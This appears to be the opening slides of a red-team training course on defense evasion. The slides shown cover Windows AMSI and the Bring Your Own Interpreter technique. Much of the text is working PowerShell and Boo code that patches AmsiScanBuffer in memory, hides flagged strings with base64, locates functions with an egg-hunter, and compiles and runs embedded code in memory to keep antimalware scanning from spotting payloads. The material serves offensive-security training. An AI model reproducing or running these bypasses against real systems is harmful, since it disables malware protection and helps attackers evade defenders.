You are on page 1of 345

Penetration Testing

eXtreme

Defense Evasion
S e c t i o n 0 4 | M o d u l e 0 1
© Caendra Inc. 2020
All Rights Reserved
Table of Contents

MODULE 01 | EVASION
1.1 Evasion 1.6 EDR 1.10 Sensitive
Groups
1.2 AMSI 1.7 Discovery
1.11 Payload
1.3 BYOI 1.8 Lateral Development
Movement
1.4 ETW 1.12 Unhooking
1.9 Credential
1.5 SYSMON Access 1.13 Stealth Macro

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.2


Learning Objectives
By the end of this module, you should have a better
understanding of:

✓ Common defense mechanisms


✓ Defense team limitations
✓ How to repurpose existing tradecraft to make it
undetectable
✓ How to build custom payloads
✓ How to remove API hooks used by EDR solutions

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.3


1.1

EVASION

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.4


1. Introduction

Defense evasion is a crucial skillset every red team


operator must learn. Antivirus companies are always
improving they detection capabilities and implementing
novel techniques such as machine learning or behavior
analysis.

Threat hunters are also continuously developing their skills


in order to become more efficient at uncovering red ream
operations and real attacks in their organizations.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.5
1. Introduction

Red team operators must perfectly understand how


offensive tools work and the limitations in existing in
defense technologies and processes to stay under the
radar and avoid being detected by the blue team.

Some of the techniques presented in this module can be


detected upon some time, it is important to keep up the
research and find new bypasses for defense technologies.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.6
1.2

AMSI

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.7


1.2 AMSI

Anti Malware Scan Interface (AMSI)


AMSI is an interface for applications and services to
integrate with antimalware products.

Capabilities for Anti Malware Scan Interface include


scanning files and memory streams, content source URL/IP
reputation checks and other techniques.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.8


1.2 AMSI

AMSI deeply integrates with several components of Microsoft


Windows, having visibility over:
• User Account Control (UAC) at the time of elevation of EXE,
COM, MSI or ActiveX installation.
• PowerShell scripts, interactive use and dynamic code
evaluation.
• Windows Script Host (wscript.exe and cscript.exe)
• JavaScript and VBScript
• Office VBA Macros.
• .NET starting from Framework 4.8 on Windows 10.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.9
1.2 AMSI
AMSI uses the following enumerations:
• AMSI_ATTRIBUTE: Specifies the types of attributes to be requested
by IAmsiStream::GetAttribute.
• AMSI_RESULT: Specifies the types of results returned by a scan.
Possible values are:
• AMSI_RESULT_CLEAN: The result is clean, known and with low
probability of changing over future definition updates.
• AMSI_RESULT_NOT_DETECTED: Clean result, but could change over
future definition updates.
• AMSI_RESULT_BLOCKED_BY_ADMIN_START/AMSI_RESULT_BLOCKED_
BY_ADMIN_END: Blocked by an Administrator policy on this machine.
• AMSI_RESULT_DETECTED: The content is considered malware and
should be blocked
Go to Slide 328 to check out the full links. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.10
1.2 AMSI

AMSI provides the following functions:


• AmsiInitialize: Initializes the AMSI API
• AmsiOpenSession: Opens a session to correlate multiple
scans requests
• AmsiCloseSession: Closes a session.

Go to Slide 328 and Slide 329 to check out the full links. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.11
1.2 AMSI

• AmsiScanBuffer: Scans a buffer-full of content for


malware and returns an AMSI_RESULT
• AmsiScanString: Scans strings for malware and returns
an AMSI_RESULT
• AmsiResultIsMalware: Determines if the AMSI_RESULT
provided by AmsiScanBuffer or AmsiScanString is
malware and should be blocked.
• AmsiUninitalize: Removes the instance of the AMSI API
opened by AmsiInitialize
Go to Slide 329 to check out the full links. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.12
1.2 AMSI

Some examples of AMSI dynamic detection capabilities at


the time of writing that can detect existing offensive toolkit
are:
• Detecting obfuscated malicious PowerShell scripts.
• Detecting loaded assemblies from memory in .NET via
Assembly.Load and similar functions.
• Detecting obfuscated VBA macros

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.13


1.2 AMSI

This image shows how AMSI works with Windows Defender Service. Applications
where AMSI has optics are passed to AmsiScanBuffer or AmsiScanString functions
to be evaluated and blocked if malicious content is detected.
Image Source: https://www.contextis.com/en/blog/amsi-bypass PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.14
1.2 AMSI

AMSI Patching
When a process is created, amsi.dll is mapped into the virtual
address space of the process, meaning exported functions are
available to use by this process in order to detect malicious
content. In case of PowerShell, AmsiScanBuffer is the function
used by the Anti Malware Scan Interface to detect malicious
content.

Having the amsi.dll mapped into the address space of the


process means the AmsiScanBuffer function can be patched in
order to always return AMSI_RESULT_CLEAN
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.15
1.2 AMSI

By checking the AmsiScanBuffer function from amsi.dll in Ghidra,


we can observe various instructions followed by conditional
jumps to the same address ”LAB_180002615”
https://ghidra-sre.org/ PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.16
1.2 AMSI

The content of this address is “MOV EAX,0x80070057”


which are in fact AMSI_RESULT_CLEAN instructions.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.17
1.2 AMSI

The hex opcodes for the previous instruction are “0xB8,


0x57, 0x00, 0x07, 0x80”, meaning that if we patch the
beginning of AmsiScanBuffer functions with these opcodes
opcodes followed by a 0xC3 (retn), as soon as the function
is called it will return the value of AMSI_RESULT_CLEAN
without performing any checks.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.18


1.2 AMSI

To perform the patch to the AmsiScanBuffer function the


following Windows API Calls will be used:
• LoadLibrary: Loads the specified module into the
address space of the calling process and returns a
handle that can be used by GetProcAddress.
• GetProcAddress: Retrieves the address of an exported
function or variable from the specified DLL.
• VirtualProtect: Changes the protection of a region of
committed pages in the virtual address space of the
calling process.
Go to Slide 330 to check out the full links. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.19
1.2 AMSI

Performing the patch to the AmsiScanBuffer function can


be done from PowerShell using Add-Type for adding a .NET
Core class where the Windows API Calls needed have been
defined.

https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/add-
type?view=powershell-7 PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.20
1.2 AMSI

Use this example in a


PowerShell session
with Real-Time,
Cloud-delivered and
Tamper protections
enabled.

In this case, do not


copy the whole script
at the same time as
it will be flagged.

Source code: https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass.ps1 PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.21
1.2 AMSI

Following the previous steps results in a completely AMSI Bypass inside the current PowerShell
process, allowing to import scripts without being flagged by Windows Defender.
Source code: https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass.ps1 PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.22
1.2 AMSI

Although the previous AMSI


Patch works if copied line by
line, in most situations this is
not possible. Invoking the
script via a download cradle
or copying it into PowerShell,
will cause AMSI to detect it
and create an alert that can
trip the defense team of our
presence.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.23
1.2 AMSI

During the test, the string ”AmsiScanBuffer” was used to


test if AMSI was enabled or not. This is because this string
is flagged as malicious by Microsoft Windows Defender.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.24


1.2 AMSI

AmsiScanBuffer address cannot be hardcoded in the


bypass to avoid using strings that can be flagged due to
Address Space Layout Randomization (ASLR) making it
different each reboot.
https://en.wikipedia.org/wiki/Address_space_layout_randomization PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.25
1.2 AMSI

However, ASLR relocates entire executable images as a unit and


all addresses are relative to its base address. This means that if
two functions from the amsi.dll are addressed at
0x7ff9776e2540 and 0x7ff9776e3540 they will remain 0x1000
bytes apart even after the image is relocated.

Using DLL Export Viewer, the relative addresses of amsi.dll


exported functions can be obtained to calculate the differences
between them. Instead of calling AmsiScanBuffer, another known
address can be used and add or subtract the difference in order
to obtain the AmsiScanBuffer function address.
https://www.nirsoft.net/utils/dll_export_viewer.html PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.26
1.2 AMSI

In DLL Export Viewer, the


AmsiSCanBuffer function
Relative Address is
0x00002540, 9536 in decimal.

Loading the amsi.dll Library


and adding to this address
9536 should give the
AmsiScanBuffer Function
address in memory.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.27
1.2 AMSI

As we can see in the code,


retrieving the amsi.dll base
address and adding 0x2540 to
it gives the exact address of
the AmsiScanBuffer function.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.28


1.2 AMSI

As shown in DLL Export Viewer,


DLLGetClassObject relative
address is 0x1890, while
AmsiScanBuffer relative address
is 0x2540 having a difference of
0x0cb0 (3248 in dec).

By loading the DLLGetClassObject


address and adding the difference,
AmsiScanBuffer address can be
calculated indirectly without
tripping the defenses.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.29
1.2 AMSI

With this techniques, an AMSI


Bypass previously flagged as
malicious can be repurposed to
be used again without worrying
about detections.

Furthermore, if new signatures


are added we can easily
repurpose the bypass to make
it undetectable again.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.30
1.2 AMSI
Repurposed ASBBypass.ps1 code part 1:
$Win32 = @"
using System;
using System.Runtime.InteropServices;

public class Win32 {

[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);

[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint
lpflOldProtect);

}
"@
Add-Type $Win32

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.31


1.2 AMSI
Repurposed ASBBypass.ps1 code part 2:

# Retrieves amsi.dll base address


$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
# Retrieves the address of DllGetClassObject function
$DllGetClassObjectAddress = [Win32]::GetProcAddress($LoadLibrary, "DllGetClassObject")
# Calculates the ASB Address
$ASBAddress = [System.IntPtr]::New($DllGetClassObjectAddress.ToInt64() + [Int64](3248))
$oldProtect = 0
# Changes memory protection to PAGE_EXECUTE_READWRITE
[Win32]::VirtualProtect($ASBAddress, [uint32]5, 0x40, [ref]$oldProtect) | Out-null
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
$newProtect = 0
# Copies the patch to the start of ASB Function
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $ASBAddress, 6)
# Restores memory protection to PAGE_EXECUTE_READ
[Win32]::VirtualProtect($ASBAddress, [uint32]5, $x, [ref]$newProtect) | Out-null

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.32


1.2 AMSI

Another interesting PowerShell AMSI Bypass was published by Matt


Graeber. This bypass sets a variable determining whether the content
should be scanned. By changing the contents of this variable to $true,
AMSI will report the content as non-malicious without scanning it.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.33
1.2 AMSI

This bypass has been flagged and doesn’t work anymore as


is. However, we could also repurpose this AMSI bypass for
not being detected by existing signatures.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.34
1.2 AMSI

By looking at the bypass there are 3 strings that can be at


least base64 encoded in order to bypass statics
signatures.

These are:
1. "System.Management.Automation.AmsiUtils"
2. "amsiInitFailed"
3. "NonPublic,Static"
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.35
1.2 AMSI

For the repurposed bypass, we will create a function that


accepts an encoded base64 string and returns the decoded
content.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.36


1.2 AMSI

Now we can base64 encode


the existing strings using
PowerShell or TxtWizard.

Then, 3 variables will be


created for hosting the
decoded content using our
previously created function.
http://www.txtwizard.net/encoding PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.37
1.2 AMSI

Now we will replace the strings in the original AMSI Bypass


for the variables holding the decoded content.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.38


1.2 AMSI

Defender's signature
detection can be
bypassed with some
basic obfuscation,
allowing attacker's to
successfully bypass
AMSI reviving previously
detected techniques.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.39


1.2 AMSI

Repurposed AMSI Bypass code:


function b64decode
{
param ($encoded)
$decoded = $decoded =
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($en
coded))
return $decoded
}

$1 = b64decode("U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHM=")
$2 = b64decode("YW1zaUluaXRGYWlsZWQ=")
$3 = b64decode("Tm9uUHVibGljLFN0YXRpYw==")

[Ref].Assembly.GetType($1).GetField($2,$3).SetValue($null,$true)

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.40


1.2 AMSI

Another method that can be used to dynamically locate the


AmsiScanBuffer function address instead of GetProcAddress
function directly, is to locate another function not containing the
string “amsi” as an entry point to the Virtual Address Space of the
process and search for a specific pattern. This technique is
called egg hunting.

This technique consists on parsing a region of memory searching


for a small pattern to locate a memory address. However in this
case it will be the first 24 bytes of the AmsiScanBufferFunction.
http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.41
1.2 AMSI

Using Ghidra we can disassemble the AmsiScanBuffer function to


analyze the instructions that can be used as the egg. They are located
from 0x180002540 to 0x1800022554. The bytes of the function are:
"0x4C 0x8D 0xDC 0x49 0x89 0x5B 0x08 0x49 0x89 0x6B 0x10 0x49
0x89 0x73 0x18 0x57 0x41 0x56 0x41 0x57 0x48 0x83 0xEC 0x70"
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.42
1.2 AMSI

This sequence must be unique, or the egg hunter will return


a random address not corresponding to the
AmsiScanBuffer function.

There is also another thing to take into account, the


function address we are targeting as an entry point to the
Virtual Address Space must be lower than the targeted
function, as the value will be incremented while looking for
the egg.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.43
1.2 AMSI

The class Hunter can be used in the PowerShell code to


find an egg starting from a memory address.
Class Hunter {
static [IntPtr] FindAddress ([IntPtr]$address, [byte[]]$egg) {
while ($true) {
[int]$count = 0

while ($true) {
[IntPtr]$address = [IntPtr]::Add($address, 1)
If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
$count++
If ($count -eq $egg.Length) {
return [IntPtr]::Subtract($address, $egg.Length - 1)
}
} Else { break }
}
}
return $address
}
}

Source code: https://www.contextis.com/en/blog/amsi-bypass PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.44
1.2 AMSI

By implementing the Hunter


class, the FindAddress
function successfully locates
the AmsiScanBufferAddress
Starting from the
DLLGetClassObject Address.
By using this technique,
calculating the difference
between base addresses and
hardcoding it can be avoided
Source code: https://www.contextis.com/en/blog/amsi-bypass PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.45
1.2 AMSI

There is also the possibility


to avoid using the
GetProcAddress API call, as
starting from the address
returned by the LoadLibrary
function will achieve the
same result as seen on the
image.

Source code: https://www.contextis.com/en/blog/amsi-bypass PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.46
1.2 AMSI

Using the address returned by


LoadLibrary in the FindAddress
function retrieves the
AmsiScanBuffer address in a
stealthier way without using the
GetProcAddress API call.

Once the address is obtained, the


same patch can be applied in order
to disable AMSI protection from the
current process.
Source code: https://www.contextis.com/en/blog/amsi-bypass PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.47
1.2 AMSI

Code:
$Win32 = @"
using System;
using System.Runtime.InteropServices;

public class Win32 {

[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);

[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect,
out uint lpflOldProtect);

}
"@

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.48


1.2 AMSI

Code:
Add-Type $Win32
Class Hunter {
static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {
while ($true) {
[int]$count = 0
while ($true) {
[IntPtr]$address = [IntPtr]::Add($address, 1)
If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
$count++
If ($count -eq $egg.Length) {
return [IntPtr]::Subtract($address, $egg.Length - 1)
}
} Else { break }
}
}
return $address
}
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.49


1.2 AMSI

Code:

# Retrieves amsi.dll base address


$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
[byte[]]$egg = [byte[]] (
0x4C, 0x8B, 0xDC, # mov r11,rsp
0x49, 0x89, 0x5B, 0x08, # mov qword ptr [r11+8],rbx
0x49, 0x89, 0x6B, 0x10, # mov qword ptr [r11+10h],rbp
0x49, 0x89, 0x73, 0x18, # mov qword ptr [r11+18h],rsi
0x57, # push rdi
0x41, 0x56, # push r14
0x41, 0x57, # push r15
0x48, 0x83, 0xEC, 0x70 # sub rsp,70h
)

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.50


1.2 AMSI

Code:

$ASBAddress = [Hunter]::FindAddress($LoadLibrary, $egg)


Write-Host "amsi.dll address: $LoadLibrary"
Write-Host "ASB Address: $ASBAddress"
#Changes memory protection to PAGE_EXECUTE_READWRITE
$oldProtect = 0
[Win32]::VirtualProtect($ASBAddress, [uint32]5, 0x40, [ref]$oldProtect) | Out-null
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
# Copies the patch to the start of ASB Function
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $ASBAddress, $Patch.Length)
# Restores memory protection to PAGE_EXECUTE_READ
$newProtect = 0
[Win32]::VirtualProtect($ASBAddress, [uint32]5, $oldProtect, [ref]$newProtect) | Out-null

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.51


1.2 AMSI

Remember that AMSI has visibility over .NET starting from


version 4.8 for assemblies via methods such as
Assembly.Load(Byte[]).

As a result, AMSI bypasses should be implemented in .NET


payloads to avoid being flagged by the antivirus.

https://docs.microsoft.com/en-
us/dotnet/api/system.reflection.assembly.load#System_Reflection_Assembly_Load_System_Byte___ PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.52
1.2 AMSI

Existing bypasses on C# can


also be detected by AMSI and in
order to make them more
resilient about detection the
same modifications can be
applied.

As an example
AmsiScanBufferBypass
compiled to a dll is easily
detected if dropped to disk.
https://github.com/rasta-mouse/AmsiScanBufferBypass PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.53
1.2 AMSI

Repurposing the AmsiScanBufferBypass can be done by,


for example, locating the Base Address of amsi.dll and
jumping to AmsiScanBuffer function using the relative
address to avoid the use of GetProcAddress Windows API
Call.

https://github.com/rasta-mouse/AmsiScanBufferBypass PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.54


1.2 AMSI

In this case, the bypass was simplified. The 32


bits patch was removed and its only working
against 64 bits. GetProcAddress was also
removed from Win32 class.

Once the IntPtr to amsi.dll is obtained in line 12,


we add 0x2540 to it in line 14 to locate the
AmsiScanBuffer Address.

Having the AmsiScanBuffer address, the next


step is to change memory permissions to
PAGE_EXECUTE_READWRITE, apply the patch
via Marshall.Copy and restore memory
protections to PAGE_EXECUTE_READ (Lines 16-
21).

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.55


1.2 AMSI

Now the DLL can be compiled using:


“csc <SOURCE_FILE> -target:library –out:<OUTPUT_FILE>”

This DLL can be encoded into base64 and loaded via:


”[System.Reflection.Assembly]::Load([System.Convert]::Fro
mBase64String(“<ENCODED_DLL>”))”
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.56
1.2 AMSI

For demonstration purposes, the DLL is dropped into the


disk and loaded via ”Add-Type -Path <DLL>” in order to
bypass AMSI inside a PowerShell session.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.57
1.3

Bring Your Own


Interpreter (BYOI)

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.58


1.3 Bring Your Own Interpreter

Bring Your Own Interpreter (BYOI) main concept is you use


third-party .NET scripting languages in the same way
PowerShell was used before.

This can be accomplished by embedding the interpreter


into a .NET language existing by default in Windows
installations.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.59


3. Bring Your Own Interpreter

Before moving into BYOI there are a few concept about


.NET assemblies that needs to be clarified:
• Assemblies generated in .NET format are different than
the ones generated via un-managed languages such as
C/C++.
• .NET assemblies can be executed by any .NET
language, including third party languages.
• Assembly.Load() can be used to reflectively load .NET
assemblies.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.60
1.3 Bring Your Own Interpreter

This means, .NET natively supports reflective DLL/PE injection


via Assembly.Load() function. This function is one of the
scanned methods by AMSI starting from .NET Framework
version 4.8.

BooLang is an object oriented statically typed programming


language for .NET and Mono runtimes focusing on language
and compiler extensibility initially created for Unity Gaming
Engine. It supports Platform Invoke (P/Invoke) natively from an
in-memory engine/runtime/compiler.
https://github.com/boo-lang/boo
https://docs.microsoft.com/en-us/dotnet/standard/native-interop/pinvoke PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.61
1.3 Bring Your Own Interpreter

By supporting P/Invoke natively and exposing Compiler and


Interpreter APIs, Boo is a perfect candidate from weaponization
perspective as it can be embedded in other languages and the
code will be compiled and executed directly in memory without
being detected by AMSI.

Bring Your Own Interpreter can be used with PowerShell to


bypass some AMSI and Script Logging features or even to
disable them. In order to understand how the process work, the
file Invoke-Boolang.ps1 will be used with some parts stripped.
https://github.com/boo-lang/boo/wiki/Boo-as-an-embedded-scripting-language
https://github.com/byt3bl33d3r/OffensiveDLR/blob/master/Invoke-Boolang.ps1 PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.62
1.3 Bring Your Own Interpreter

Boolang needs four dlls to be loaded reflectively in order to compile and run scripts in memory. These are hosted in
variables inside the PowerShell code, compressed and Base 64 encoded in lines 4-7.

These DLLs will be decompressed and placed into byte arrays via the Load-Assembly function from line 9 to 15 to be
loaded later via the Assembly.Load() function and assigned to their respective variables in lines 17-20.
https://github.com/boo-lang/boo/tree/master/bin PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.63
1.3 Bring Your Own Interpreter

The boolang source code will be included in lines 22-27. This will be compiled and executed in memory.

A StringInput object is created with the boolang source code to tell the Boolang compiler the code is coming from a string
instead of a file in the disk on line 29.

Line 32 creates a CompilerParameter object passing false to the constructor in order to get rid of some bugs present in Boolang
when is embedded into PowerShell.

Lines 34-36 adds the ScriptInput object to the CompilerParameters and CompileToMemory pipeline is specified. The compiler is
also instructed to allow Duck Typing which makes Boolang code more similar to Python.

https://github.com/boo-lang/boo/wiki/Duck-Typing PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.64


1.3 Bring Your Own Interpreter

Lines 40-46 instructs the compiler to add mscorlib, System and


System.Core as references to the Boolang code to access basic .NET
APIs. More references can be added if there are more .NET namespaces
needed from the boo source.

The four Boolang Assemblies are also added as references just in case
the Boo Toolchain is needed and context managers.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.65
1.3 Bring Your Own Interpreter
On line 50 the CompilerParameters
object is passed to the
BooCompiler and the code will be
compiled in line 53.

Line 55 checks that compilation


was successful.

Line 58-60 uses GetType() function


to retrieve the entry class called
MyScriptModule as no class were
defined inside the Boo Source.
Then the GetMethod() function will
be called to retrieve the Main Boo
function and execute it via
Invoke().
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.66
1.3 Bring Your Own Interpreter

Beware that strings flagged as malicious code will be still


detected by AMSI if they are placed inside the PowerShell
code. This can be solved using Invoke-WebRequest to
download the code we want to execute in case is flagged
by AMSI.

The previous AmsiScanBuffer Bypass can be


implemented in Boolang in order to disable AMSI from the
current process as P/Invoke is natively supported.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.67
1.3 Bring Your Own Interpreter

Lines 1-2 will define the necessary imports in our Boo source code.

Lines 4-14 are the Windows API Calls needed to Patch the
AmsiScanBuffer function, LoadLibrary, GetProcAddress, and
VirtualProtect.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.68
1.3 Bring Your Own Interpreter

PatchMem function will accept a DLL, a Function to Patch and a path as


arguments. It will then use the LoadLibrary function to get a handler to the DLL,
GetProcAddress to locate the function to be patched and VirtualProtect to change
the memory permissions to PAGE_EXECUTE_READWRITE. Once the patch is
applied, permissions are restored.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.69
1.3 Bring Your Own Interpreter

The main function detects if the process is running in 32 or 64 bits based in the size of a
pointer in line 35.

Depending if the process is running in 32 or 64 bits, it calls the PatchMem function with
“amsi.dll” as the library where the function is contained, “AmsiScanBuffer” as the function to
be patched, and the appropriate patch depending on if the process is running in 32 or 64 bits.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.70
1.3 Bring Your Own Interpreter

Replacing the previous


PS1 BooSource variable
with the new code and
executing it into the
target hosts, will result in
an AMSI bypass using
BYOI technique.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.71


1.3 Bring Your Own Interpreter

Code:
function Invoke-BoolangAmsiPatch
{

$BooLangDLL = @'<BOOLANG_DLL>'@

$BooLangCompilerDLL = @'<BOOLAND_COMPILER_DLL>'@

$BooLangParserDLL = @'<BOOLAND_PARSER_DLL>'@

$BoolangExtensionsDLL = @'<BOOLANG_EXTENSION_DLL>'@

function Load-Assembly($EncodedCompressedFile)
{
$DeflatedStream =
[IO.Compression.DeflateStream]::new([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),
[IO.Compression.CompressionMode]::Decompress)
$UncompressedFileBytes = New-Object Byte[](1900000)
$DeflatedStream.Read($UncompressedFileBytes, 0, 1900000) | Out-Null
return [Reflection.Assembly]::Load($UncompressedFileBytes)
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.72


1.3 Bring Your Own Interpreter

$BooLangAsm = Load-Assembly($BooLangDLL)
$BooLangExtensionsAsm = Load-Assembly($BoolangExtensionsDLL)
$BooLangCompilerAsm = Load-Assembly($BooLangCompilerDLL)
$BooLangParserAsm = Load-Assembly($BooLangParserDLL)

$BooSource = @'
import System
import System.Runtime.InteropServices

[DllImport("kernel32.dll", SetLastError: true, CharSet: CharSet.Unicode)]


public static def LoadLibrary(lpFileName as string) as IntPtr:
pass

[DllImport("kernel32.dll", CharSet: CharSet.Ansi, ExactSpelling: true, SetLastError: true)]


public static def GetProcAddress(hModule as IntPtr, procName as string) as IntPtr:
pass

[DllImport("kernel32.dll")]
public static def VirtualProtect(lpAddress as IntPtr, dwSize as int, flNewProtect as uint, ref lpflOldProtect as IntPtr) as b ool:
pass

public static def PatchMem(dll as string, function as string, patch as (byte)):

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.73


1.3 Bring Your Own Interpreter

try:
oldProtect as IntPtr = 0
library = LoadLibrary(dll)
print ""
print "[>] $(dll) address : $(library)"
address = GetProcAddress(library, function)
print "[-] $(function) address : $(address)"
result = VirtualProtect(address, patch.Length, 0x40, oldProtect)
print "[-] Memory Protection changed to PAGE_EXECUTE_READWRITE"
Marshal.Copy(patch, 0, address, patch.Length)
print "[+] Patched $(dll) : $(function)"
result = VirtualProtect(address, patch.Length, 0x20, oldProtect)
print "[-] Memory Protection Restored to PAGE_EXECUTE_READ"
except:
print "[!] Could not patch $(dll) : $(function)"
public static def Main():
amsi_patch as (byte)
if IntPtr.Size == 8:
// 64 Bits process
print "[-] x64 Process"
amsi_patch = array(byte, [0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3])

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.74


1.3 Bring Your Own Interpreter
else:
// 32 Bits process
print "[-] x86 Process"
amsi_patch = array(byte, [0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00])
PatchMem("am"+"si.dll", "Am"+"si"+"Sc"+"anBu"+"ffer", amsi_patch)
'@
#$scriptinput = New-Object "Boo.Lang.Compiler.IO.StringInput" -ArgumentList "MyScript.boo, $BooSource"
$scriptinput = [Boo.Lang.Compiler.IO.StringInput]::new("MyScript.boo", $BooSource)
#Passing $false to the constructor tells Boo to not automatically reference default assemblies
$parameters = [Boo.Lang.Compiler.CompilerParameters]::new($false)

$parameters.Input.Add($scriptinput) | Out-Null
$parameters.Pipeline = [Boo.Lang.Compiler.Pipelines.CompileToMemory]::new()
$parameters.Ducky = $true # $false increases speed but disables duck typing
#Here we manually add assemblies as references to the compiler that will probably be used 100% of the time within our Boo
code
$parameters.AddAssembly($BooLangAsm)
$parameters.AddAssembly($BooLangExtensionsAsm)
$parameters.AddAssembly($BooLangCompilerAsm)
$parameters.AddAssembly($BooLangParserAsm)
$parameters.AddAssembly([Reflection.Assembly]::LoadWithPartialName("mscorlib"))
$parameters.AddAssembly([Reflection.Assembly]::LoadWithPartialName("System"))
$parameters.AddAssembly([Reflection.Assembly]::LoadWithPartialName("System.Core"))

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.75


1.3 Bring Your Own Interpreter

$compiler = [Boo.Lang.Compiler.BooCompiler]::new($parameters)

Write-Output "[+] Compiling..."


$context = $compiler.Run()

if ($context.GeneratedAssembly -ne $null)


{
Write-Output "[+] Executing..."
$scriptModule = $context.GeneratedAssembly.GetType("MyScriptModule")
$mainfunction= $scriptModule.GetMethod("Main")
$mainfunction.Invoke($null, $null)
}
else {
Write-Output "`nError(s) when compiling Boo source!`n"
Write-Output $context.Errors.ToString($true)
}
}

